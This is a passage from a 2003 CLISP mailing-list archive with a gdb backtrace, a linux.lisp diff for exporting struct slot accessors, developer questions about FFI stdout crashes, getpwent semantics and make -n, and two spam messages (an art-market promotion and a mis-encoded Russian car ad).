) at encoding.d:1616 #1 0x081879a9 in convert_to_foreign (fvd=3D{one_o =3D 136519537}, obj=3D {one_o =3D 540918101}, data=3D0xbfff8fa0) at foreign.d:1848 #2 0x08187d45 in convert_to_foreign (fvd=3D{one_o =3D 540726929}, obj=3D {one_o =3D 540918233}, data=3D0xbfff8fa0) at foreign.d:1904 #3 0x08188e71 in convert_to_foreign_nomalloc (fvd=3D{one_o =3D 540726929},= obj=3D {one_o =3D 540918233}, data=3D0xbfff8fa0) at foreign.d:2174 #4 0x0818cf5b in C_foreign_call_out (argcount=3D2, rest_args_pointer=3D0x4= 01dc088) at foreign.d:3251 #5 0x0809d4eb in funcall_subr (fun=3D{one_o =3D 136474578}, args_on_stack= =3D2) at eval.d:5229 #6 0x0809c94b in funcall (fun=3D{one_o =3D 136474578}, args_on_stack=3D3) at eval.d:4831 #7 0x0809a272 in eval_ffunction (ffun=3D{one_o =3D 540727585}) at eval.d:3= 900 #8 0x08097090 in eval1 (form=3D{one_o =3D 1745141891}) at eval.d:2978 #9 0x08096b90 in eval (form=3D{one_o =3D 1745141891}) at eval.d:2834 #10 0x0813adf7 in C_read_eval_print () at debug.d:309 #11 0x0809d599 in funcall_subr (fun=3D{one_o =3D 136456434}, args_on_stack= =3D2) at eval.d:5232 #12 0x0809c9be in funcall (fun=3D{one_o =3D 136480085}, args_on_stack=3D2) at eval.d:4838 #13 0x080a0b8b in interpret_bytecode_ (closure=3D{one_o =3D 540264193},=20 codeptr=3D0x2033c6d0,=20 byteptr_in=3D0x2033c6e2 "=C5P\030.\001\024.\002\024.\003\024s\003\023.\= 004\0240\005\037\002.\006Q\031\001\031\001") at eval.d:6883 #14 0x0809e410 in funcall_closure (closure=3D{one_o =3D 540264193},=20 args_on_stack=3D0) at eval.d:5678 #15 0x0809c976 in funcall (fun=3D{one_o =3D 540264193}, args_on_stack=3D0) at eval.d:4833 #16 0x080ac32b in C_driver () at control.d:1903 #17 0x080a0cbe in interpret_bytecode_ (closure=3D{one_o =3D 540264237},=20 codeptr=3D0x2033c688, byteptr_in=3D0x2033c69a "=C5\017\001=DC1U=A0=C63 = \021\v") at eval.d:6889 #18 0x0809e410 in funcall_closure (closure=3D{one_o =3D 540264237},=20 args_on_stack=3D0) at eval.d:5678 #19 0x0809c976 in funcall (fun=3D{one_o =3D 540264237}, args_on_stack=3D0) at eval.d:4833 #20 0x080a1684 in interpret_bytecode_ (closure=3D{one_o =3D 540875949},=20 codeptr=3D0x202cfcc8, byteptr_in=3D0x202cfcda "") at eval.d:6939 #21 0x0809e410 in funcall_closure (closure=3D{one_o =3D 540875949},=20 args_on_stack=3D0) at eval.d:5678 #22 0x0809c976 in funcall (fun=3D{one_o =3D 540875949}, args_on_stack=3D0) at eval.d:4833 #23 0x0813b166 in driver () at debug.d:375 #24 0x0808df36 in main (argc=3D11, argv=3D0xbfffe174) at spvw.d:2963 #25 0x420154a0 in __libc_start_main () from /lib/tls/libc.so.6 (gdb)=20 Joerg, what's up?! --=20 Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux If Perl is the solution, you're solving the wrong problem. - Erik Naggum --- linux.lisp.~1.19.~ 2003-03-29 10:02:55.000000000 -0500 +++ linux.lisp 2003-03-30 15:43:39.000000000 -0500 @@ -105,11 +105,30 @@ `(progn (defmacro ,new-macro-name (name &rest more) `(progn - (export ',(if (consp name) (car name) name)) + (export ',name) (,',original-macro-name ,name ,@(sublis substitut= ion more)) ) ) ) ) ) + (exporting-slots (defining-macro-name) + (let ((original-macro-name (intern (string-upcase defining-= macro-name) "FFI")) + (new-macro-name (intern defining-macro-name "LINUX"))) + `(defmacro ,new-macro-name (name &rest more) + (let ((sname (if (consp name) (car name) name))) + `(progn + (export '(,sname + ,@(let ((cname (sys::string-concat + (symbol-name sname) "-"= ))) + (list* + (sys::concat-pnames "COPY-" cname) + (sys::concat-pnames "MAKE-" cname) + (sys::concat-pnames cname "-P") + (mapcar (lambda (slot) + (sys::concat-pnames + cname (car slot))) + more))))) + (,',original-macro-name + ,name ,@(sublis substitution more))))))) (normal (defining-macro-name) (let ((original-macro-name (intern (string-upcase defining-= macro-name) "FFI")) (new-macro-name (intern defining-macro-name "LINUX"))) @@ -125,7 +144,7 @@ (exporting "define-symbol-macro") (exporting "def-c-type") (exporting "def-c-enum") - (exporting "def-c-struct") + (exporting-slots "def-c-struct") (exporting "def-c-var") (exporting "def-call-out") (normal "c-lines") From sds@gnu.org Mon Mar 31 06:41:13 2003 Received: from pop016pub.verizon.net ([206.46.170.173] helo=pop016.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1900TI-00032w-00 for ; Mon, 31 Mar 2003 06:41:12 -0800 Received: from loiso.podval.org ([151.203.42.128]) by pop016.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030331144054.BQZY8278.pop016.verizon.net@loiso.podval.org>; Mon, 31 Mar 2003 08:40:54 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2VEgNTx018934; Mon, 31 Mar 2003 09:42:23 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2VEgN7F018930; Mon, 31 Mar 2003 09:42:23 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Yadin Y. Goldschmidt" Cc: clisp-list@lists.sourceforge.net Subject: Re: Re[2]: [clisp-list] win32 cvs head binaries References: <4887728.1049019900@yadin-nb> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <4887728.1049019900@yadin-nb> Message-ID: Lines: 15 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop016.verizon.net from [151.203.42.128] at Mon, 31 Mar 2003 08:40:54 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 31 06:52:54 2003 X-Original-Date: 31 Mar 2003 09:42:23 -0500 > * In message <4887728.1049019900@yadin-nb> > * On the subject of "Re: Re[2]: [clisp-list] win32 cvs head binaries" > * Sent on Sun, 30 Mar 2003 10:25:00 -0500 > * Honorable "Yadin Y. Goldschmidt" writes: > > I successfully compiled cvs head on cygwin. Thank you. the problem has > been solved. Thanks to Arseny Slobodjuck & Dan Stanger for much debugging! -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux MS Windows vs IBM OS/2: Why marketing matters more than technology... From unsub@artcompendium.com Mon Mar 31 13:43:11 2003 Received: from mail1.artmarket.com ([194.242.43.183]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19073d-0008PG-00 for ; Mon, 31 Mar 2003 13:43:10 -0800 From: Gulf War II - Art Market To: MIME-Version: 1.0 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] The Art market will not be a war victim Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 31 13:44:03 2003 X-Original-Date: Mon, 31 Mar 2003 13:43:10 -0800 Global War

"…this time the art market will not be a war victim"

by Thierry Ehrmann
The Artprice founder

Every Art Market player has in mind the crash that hit the market during the first Gulf war. How do people feel about the current situation?

War in Iraq stirs up bad memories. The first Gulf war in 1991 triggered a dismal slump in the art market.

Between 1985 and 1990, on the eve of the Iraqi invasion of Kuwait, the art market was riding high on a speculative bubble. Price-setting at the time was very subjective. Buyers and sellers were starved of information and tended to act on behaviour and rumours traceable to a very small number of market players. Bidding battles by Japan's Ryoei Saito for the odd Van Gogh or Renoir were read as indicative of the general trend even though such million-plus sales only made up a thousandth of the market.

In the aftermath of the Gulf war, record sales dried up. Investors, reasonably enough, read this as a sign that the market had run out of steam and got out. Worse still, 1991 was not so much a quick crash as the start of a drawn-out slump that was to last nearly five years. Most market professionals reacted stoically, saying nothing, doing nothing and going down with the ship.


© Artprice 2003

Evolution of prices for
the art market

Artprice Global Index
(base 1997=100)

 


Why the long slump?

In the early nineties the art market had no reliable source of real-time information comparable to the stock market. Remember that, not so long ago, if you wanted to find an artist's benchmark price you had to flick through thick books and even then you would only find a sample of results from the previous year. Viewed through this lens the slide in prices at the start of the nineties looked like a catastrophe.
Only a small circle of market insiders continued to trade in the market in a well-informed and risk-free way.

Will the present war bring another catastrophe?

Twelve years on, the geopolitical and economic backdrop is similar, even worth, but I am convinced that this tragic piece of history is not about to repeat itself.

The creation of Artprice has given the market a catalyst in the shape of fluid, instantaneous, worldwide information driven by the latest technology. Our data are accessible cheaply online - 92% of art professionals have internet access - and underpin the dynamism and hence the health of the market.

The price of artworks has been rising for 7 years on a regular and objective manner. Any risk of irrational speculation has now been ruled out.

In 2003, unlike the last decade, the art market has taken on the trappings of a true regulated market. A new transparency has modernised the market. Internet access with 700 million internet users has democratised the market, stimulating even more transactions.

The rules of the game have got tougher but in the new more rational and fiercer market, among the million professionals and 9 million art lovers and collectors, the only survivors will be those who can access exact information.


THE WORLD LEADER IN ART MARKET INFORMATION






















[In English]

"… j'ai la conviction
que le marché de l'art ne sera plus victime de guerre"

par Thierry Ehrmann
Fondateur de Artprice

Que vous inspire, dans le contexte actuel, le krach qu'a vécu le marché de l'art lors de la première guerre du Golfe ?

La guerre en Irak ressuscite en effet les douloureux souvenirs de la descente aux enfers dans laquelle le marché de l'art avait été entraîné en 1991 avec la première guerre du Golfe.

Rappelons-nous qu'entre 1985 et 1990, avant l'invasion du Koweït, le marché de l'art avait développé une bulle spéculative. La détermination des prix, à cette époque, était très subjective. Par manque d'information, les choix des acheteurs et des vendeurs reposaient sur les comportements et les rumeurs d'un petit nombre d'acteurs. Les quelques duels d'enchères remportés par le Japonais Saito pour tel Van Gogh ou tel Renoir servaient de référence à l'ensemble du marché. Pourtant, ces enchères millionnaires ne représentent qu'1/1000ème des ventes.

L'après guerre du Golfe fut ensuite marqué par l'absence de records. Les investisseurs y virent logiquement le signe d'un essoufflement du marché et l'abandonnèrent. Pire ! 1991 ne fut pas un krach, le marché subit une lente agonie qui perdura près de 5 ans. La ligne de conduite des professionnels se résuma à ne rien dire, ne rien faire et mourir en silence !


© Artprice 2003

Evolution
des prix sur
le marché
de l'art

Artprice Global Index
(base 1997=100)

 


Quelle est la cause de cette longue agonie ?

Le marché de l'art ne disposait pas du tout de système d'information fiable et instantané sur le modèle boursier. Souvenez-vous qu'à cette époque, pas si lointaine, pour obtenir une cote, on ne pouvait que consulter de gros livres présentant juste un échantillon des résultats des ventes de l'année précédente ! La chute des prix au début des années 90 a pris des allures de catastrophe.
Seul le cercle des initiés a continué à alimenter le marché de manière éclairée et sans risque.

Cette guerre ne va-t-elle pas conduire à la même catastrophe ?

12 ans plus tard, dans un contexte géopolitique et économique semblable, voire pire, je suis persuadé que cette histoire tragique ne se répétera pas.

La création d'Artprice a apporté au marché de l'art ce catalyseur qu'est l'information fluide, instantanée et mondiale, appuyée par les nouvelles technologies. Accessibles à moindre coût sur Internet (92% des professionnels de l'art ont une connexion Internet), nos données soutiennent le dynamisme du marché, garantissant sa survie.

Les prix des œuvres d'art ont progressé depuis 7 ans, et ce, de manière régulière et objective. Tout risque de spéculation irrationnelle est désormais écarté.

En 2003, contrairement à la décennie antérieure, le marché de l'art s'affirme comme un vrai marché réglementé. La nouvelle donne, sa transparence, l'a rendu "moderne" et le concours d'Internet et de ses 700 millions de connectés l'a démocratisé, favorisant toujours plus de transactions.

La partie sera dure, mais dans ce marché plus rationnel et féroce que jamais, seuls, parmi le million de professionnels et les 9 millions d'amateurs et collectionneurs, survivront les acteurs de l'art parfaitement informés.



LEADER MONDIAL DE L'INFORMATION SUR LE MARCHE DE L'ART









To remove your email: clisp-list@lists.sourceforge.net
please click below:
http://list.artcompendium.com/?m=clisp-list@lists.sourceforge.net
In case the above link does not work you can go to
http://list.artcompendium.com/
or reply to this message as it is.
Please allow us 72 H for your e-mail to be removed.
Thank you for your co-operation.

Pour désinscrire votre email : clisp-list@lists.sourceforge.net
cliquez ci-dessous :
http://list.artcompendium.com/?m=clisp-list@lists.sourceforge.net
Si le lien ci-dessus ne fonctionne pas, vous pouvez aller sur :
http://list.artcompendium.com/
ou répondez svp à ce message sans en modifier le contenu.
Votre désinscription sera effective dans les 72 H.
Merci de votre coopération.

En conformité avec la loi 78-17 du 6/1/78 (CNIL), vous pouvez demander à ne plus figurer sur notre fichier de routage.
From nm3n00@lcl.lu.se Mon Mar 31 19:16:49 2003 Received: from [80.232.243.233] (helo=80.232.243.233 ident=sbsgpajwyd) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 190CGQ-0003BL-00 for ; Mon, 31 Mar 2003 19:16:44 -0800 From: victorho@hongkong.com To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/html; charset=koi8-r Content-Transfer-Encoding: 8bit X-Mailer: Internet Mail Service (5.5.2653.19) Message-ID: 236087@midwayfitness.com Subject: [clisp-list] ðÒÏÄÁÀ ÷áú 21102 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 31 19:17:13 2003 X-Original-Date: Mon, 31 Mar 2003 23:12:31 -0600
ðÒÏÄÁÀ: ÷áú 21102 (ÉÎÖÅËÔÏÒ)
ã×ÅÔ: ÍÉÒÁÖ (ÓÅÒÅÂÒÉÓÔÏ-ÖÅÌÔÏ-ÓÅÒÙÊ)
ëÏÍÐÌÅËÔÁÃÉÑ: ÉÍÍÏÂÉÌÁÊÚÅÒ, ÃÅÎÔÒÁÌØÎÙÊ ÚÁÍÏË, ÐÏÄÏÇÒÅ× ÐÅÒÅÄÎÉÈ ÓÉÄÅÎÉÊ, ÜÌÅËÔÒÉÞÅÓËÉÅ ÓÔÅËÌÏÐÏÄßÅÍÎÉËÉ, ÁÎÔÉËÏÒÒÏÚÉÊÎÁÑ ÏÂÒÁÂÏÔËÁ.
ðÒÏÂÅÇ: 0 ËÍ
÷ÙÐÕÓË: ÓÅÎÔÑÂÒØ 2002 ÇÏÄÁ
ãÅÎÁ: 5 700 USD
ôÅÌÅÆÏÎ: (095) 507-30-72











***** 95595672 72EE5BE3-54C3D2C5-5055238B-35391562-2C19BD52 From Joerg-Cyril.Hoehle@t-systems.com Tue Apr 01 06:06:30 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 190MPE-0005US-00 for ; Tue, 01 Apr 2003 06:06:28 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 1 Apr 2003 14:59:19 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 1 Apr 2003 14:59:19 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE033C5D5B@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] exporting reader functions for slots? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 1 06:07:12 2003 X-Original-Date: Tue, 1 Apr 2003 14:59:18 +0200 Hi, >Joerg, what's up?! I don't know. I still have to manage to build a CLISP with modules on = Linux (no, no help needed for now). Please tell me if combinations of these work for you: A:> (linux:fprintf0 linux:stdout "hi") B:FFI[97]> (with-foreign-object (x 'passwd (make-passwd :pw_name "name" = :pw_passwd "pw" :pw_uid 1 :pw_gid 2 :pw_gecos "geck" :pw_dir "/root/" = :pw_shell "Bourne")) (print (foreign-type x)) (describe = x)(foreign-value x)) #(C-STRUCT #(PW_NAME PW_PASSWD PW_UID PW_GID PW_GECOS PW_DIR PW_SHELL) # C-STRING C-STRING UINT UINT C-STRING = C-STRING C-STRING)=20 # is a foreign variable = of=20 foreign type=20 (C-STRUCT NIL (PW_NAME C-STRING) (PW_PASSWD C-STRING) (PW_UID UINT) (PW_GID UINT) (PW_GECOS C-STRING) (PW_DIR C-STRING) (PW_SHELL = C-STRING)). #S(PASSWD :PW_NAME "name" :PW_PASSWD "pw" :PW_UID 1 :PW_GID 2 :PW_GECOS = "geck" :PW_DIR "/root/" :PW_SHELL "Bourne") That tests conversion from and to foreign world, without any foreign = function. C: #0 0x080b1283 in nls_asciiext_wcstombs (encoding=3D{one_o =3D = 539610993}, What is your custom:*default-foreign-encoding*? ASCII? Regards, J=F6rg H=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Tue Apr 01 06:06:36 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 190MPJ-0005Ws-00 for ; Tue, 01 Apr 2003 06:06:34 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 1 Apr 2003 14:13:03 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 1 Apr 2003 14:13:02 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE033C5D17@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] trying to make use of make -n Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 1 06:07:14 2003 X-Original-Date: Tue, 1 Apr 2003 14:12:59 +0200 Hi, I have the feeling that CLISP's Makefile does a little too much = auto/cyclic-magic/detection/regeneration or whatever. This seems to = cause -n to become useless. How comes that make -n reports lots of things to be done, when the = actual make eventually does next to nothing? build-gcc> make lisp.run =20 sh config.status --header=3Dunixconf.h =20 config.status: creating unixconf.h =20 config.status: unixconf.h is unchanged compare with build-gcc> make -n lisp.run = =20 sh config.status --header=3Dunixconf.h = =20 gcc -I/home/hoehle/include -W -Wswitch -Wcomment -Wpointer-arith = -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations = -DUNICODE -DDYNAMI C_FFI -DDYNAMIC_MODULES -x none genclisph.o -o genclisph = =20 (echo '#ifndef _CLISP_H' ; echo '#define _CLISP_H' ; echo ; grep '^#' = unixconf.h ; echo ; grep '^#' intparam.h ; echo ; ./genclisph ; echo ; echo '#endif /* = _CLISP_H */') > clisp .h = =20 rm -f genclisph = =20 gcc -I/home/hoehle/include -W -Wswitch -Wcomment -Wpointer-arith = -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations = -DUNICODE -DDYNAMI C_FFI -DDYNAMIC_MODULES -c modules.c = =20 ... [Background: I'm fed up with CLISP regenerating all *.fas/*.mem when = they are not needed, while I'm playing with modules. Of course, = Makefile cannot know when it's superfluous, so it plays it safe. How = can I build a module without having every *.fas/*.mem rebuilt? ] Thanks, J=F6rg H=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Tue Apr 01 06:20:30 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 190Mcl-0003jD-00 for ; Tue, 01 Apr 2003 06:20:28 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 1 Apr 2003 15:24:58 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 1 Apr 2003 15:24:57 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE033C5D75@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] linux FFI: What/where is _IO_stdin/out/err_? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 1 06:21:14 2003 X-Original-Date: Tue, 1 Apr 2003 15:24:54 +0200 Hi, linux:stdin etc. support seems broken (clisp-2.30): linux.lisp says: (def-c-var _IO_stdin_ (:type c-pointer)) (def-c-var _IO_stdout_ (:type c-pointer)) (def-c-var _IO_stderr_ (:type c-pointer)) (define-symbol-macro stdin _IO_stdin_) (define-symbol-macro stdout _IO_stdout_) (define-symbol-macro stderr _IO_stderr_) As a result, linux.c contains: extern void* _IO_stdin_;=20 extern void* _IO_stdout_; extern void* _IO_stderr_; = register_foreign_variable(&_IO_stdin_,"_IO_stdin_",0,sizeof(_IO_stdin_))= ; =20 = register_foreign_variable(&_IO_stdout_,"_IO_stdout_",0,sizeof(_IO_stdout= _)); = register_foreign_variable(&_IO_stderr_,"_IO_stderr_",0,sizeof(_IO_stderr= _)); But I found only (no trailing '_'): > find /usr/include/. -type f -exec fgrep -Hn IO_std {} \; /usr/include/./libio.h:330:#define _IO_stdin = ((_IO_FILE*)(&_IO_2_1_stdin_)) =20 /usr/include/./libio.h:331:#define _IO_stdout = ((_IO_FILE*)(&_IO_2_1_stdout_)) /usr/include/./libio.h:332:#define _IO_stderr = ((_IO_FILE*)(&_IO_2_1_stderr_)) /usr/include/./libio.h:334:extern _IO_FILE *_IO_stdin; = =20 /usr/include/./libio.h:335:extern _IO_FILE *_IO_stdout; = =20 /usr/include/./libio.h:336:extern _IO_FILE *_IO_stderr; = =20 /usr/include/./libio.h:479: (__builtin_expect (&_IO_stdin_used =3D=3D = NULL, 0))=20 /usr/include/./libio.h:480:extern const int _IO_stdin_used; = =20 /usr/include/./libio.h:481:weak_extern (_IO_stdin_used); yet linux.c was compilable, and linkable. However linux:stdout appears unusable (core dump) What's going on? Where's the pointer to stdin/stdout/stderr coming = from? FFI[13]> (linux:fprintf0 linux:stdout "hi") = =20 *** - handle_fault error2 ! address =3D 0xFBAD20CA not in = [0x68057E50,0x68086000) ! SIGSEGV cannot be cured. Fault address =3D 0xFBAD20CA. = =20 Segmentation fault while this works: (linux:printf0 (coerce '(#\a #\newline) 'string)) Thanks for enlightment, J=F6rg H=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Tue Apr 01 06:22:36 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 190Men-0004Qu-00 for ; Tue, 01 Apr 2003 06:22:34 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Tue, 1 Apr 2003 14:34:59 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 1 Apr 2003 14:34:58 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE033C5D39@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: pjb@informatimago.com MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] exporting reader functions for slots? - rant on quality of Linux manpages Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 1 06:23:13 2003 X-Original-Date: Tue, 1 Apr 2003 14:34:51 +0200 Sam Steingold wrote: >I cannot check that because even=20 >(linux::putpwent (linux:getpwent) linux:stdout) >crashes: Here's a rant on random quality of Linux Manpage documentation, as I = happen to experiment a little with Linux (instead of Solaris): 1. Please tell me, after reading the manpage(s), the extent of the = validity of the pw_* string areas returned by getpwent() -- i.e. how = long will these point to valid content? o until the next system call? o until the next call to getpwent()? o until the call to endpwent()? o program exit? o other? At least, the Solaris manpages mention getpwent_r() which does not = suffer from any of these underspecifications. 2. Please note the following differences between Solaris and Linux: 2.A: Solaris: The putpwent() function is the inverse of getpwent(). See getpwnam(3C). Given a pointer to a passwd structure created by getpwent(), getpwuid(), or getpwnam(), putpwent() writes a line on the stream f [...] Strict interpretation of this means that putpwent() behaviour is = undefined when given an arbitrary pointer to memory not obtained from = getpwent/getpwuid/getpwnam(). E.g. Sam's use of (linux::putpwent (linux:getpwent) linux:stdout) is illegal on Solaris under this strict interpretation (CLISP FFI day-2 level question: why?). Linux: no such restriction is mentioned. Of course, I'll bet it nevertheless works on Solaris. 2.B: Solaris: setpwent() sets (or resets) the enumeration to the beginning of the set of password entries. This function should be called before the first call to getpwent(). Linux: The getpwent()[...] The first time it is called it returns = the first entry; thereafter, it returns successive entries. I found no notice of similar restriction "should be called" (Solaris) means? - code not calling setpwent() has unspecified behaviour? - ... ? 3. Please tell me, after reading the manpage(s), if the following code = is correct: pwent =3D getpwent(); if (0 !=3D errno) { perror...; abort(); } /* at this point pwent holds either a valid entry or NULL for EOF = -sure? */ This errno question is truly more general: i) is errno guaranteed to be set to 0 after successful function = execution? ii) Or is it only legal to inspect errno after a function returned some = error indication? iii) Can/Will functions set errno only on error? Thanks for your attention, J=F6rg H=F6hle. From sds@gnu.org Tue Apr 01 06:45:12 2003 Received: from out006pub.verizon.net ([206.46.170.106] helo=out006.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 190N0g-0002iK-00 for ; Tue, 01 Apr 2003 06:45:10 -0800 Received: from loiso.podval.org ([151.203.42.128]) by out006.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030401144503.BDMS15325.out006.verizon.net@loiso.podval.org>; Tue, 1 Apr 2003 08:45:03 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h31EkZTx013941; Tue, 1 Apr 2003 09:46:36 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h31EkZE0013937; Tue, 1 Apr 2003 09:46:35 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] trying to make use of make -n References: <9F8582E37B2EE5498E76392AEDDCD3FE033C5D17@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE033C5D17@G8PQD.blf01.telekom.de> Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out006.verizon.net from [151.203.42.128] at Tue, 1 Apr 2003 08:45:03 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 1 06:46:09 2003 X-Original-Date: 01 Apr 2003 09:46:34 -0500 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE033C5D17@G8PQD.blf01.telekom.de> > * On the subject of "[clisp-list] trying to make use of make -n" > * Sent on Tue, 1 Apr 2003 14:12:59 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > [Background: I'm fed up with CLISP regenerating all *.fas/*.mem when > they are not needed, while I'm playing with modules. Of course, > Makefile cannot know when it's superfluous, so it plays it safe. How > can I build a module without having every *.fas/*.mem rebuilt? ] if all you changed is the modules (i.e., not src/*), all you need to 